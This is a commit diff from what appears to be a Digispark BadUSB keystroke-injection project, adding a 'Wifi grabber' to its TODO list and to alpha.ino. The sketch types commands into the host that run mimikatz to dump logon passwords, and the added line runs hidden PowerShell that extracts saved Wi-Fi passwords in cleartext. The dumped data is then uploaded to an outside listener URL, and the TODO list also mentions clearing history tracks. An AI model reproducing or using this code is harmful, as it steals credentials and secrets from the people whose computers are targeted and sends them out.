Browse Source

First init of wifi part, not tested

unknown 10 months ago
parent
commit
326c44908b
2 changed files with 2 additions and 0 deletions
  1. 1
    0
      TODO.md
  2. 1
    0
      alpha.ino

+ 1
- 0
TODO.md View File

@@ -6,3 +6,4 @@
6 6
 * [x]PHP listener
7 7
 * [x]Clear history tracks
8 8
 * []Bash script for automating PHP listener
9
+* [] Wifi grabber

+ 1
- 0
alpha.ino View File

@@ -24,6 +24,7 @@ void loop() {
24 24
   DigiKeyboard.delay(1000);
25 25
   DigiKeyboard.println("./mimi.exe 'sekurlsa::logonpasswords full' >> dump.file"); // Call mimikatz to dump system credentials
26 26
   DigiKeyboard.delay(1000);
27
+  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} >> test.txt")); // Wifi grab
27 28
   DigiKeyboard.println("$output = Get-Content dump.file"); //Convert output to string, preupload
28 29
   DigiKeyboard.delay(1000);
29 30
   DigiKeyboard.println("(New-Object Net.WebClient).UploadString('https://test.iskullbox.dev/listener.php', $output)"); //Upload to listener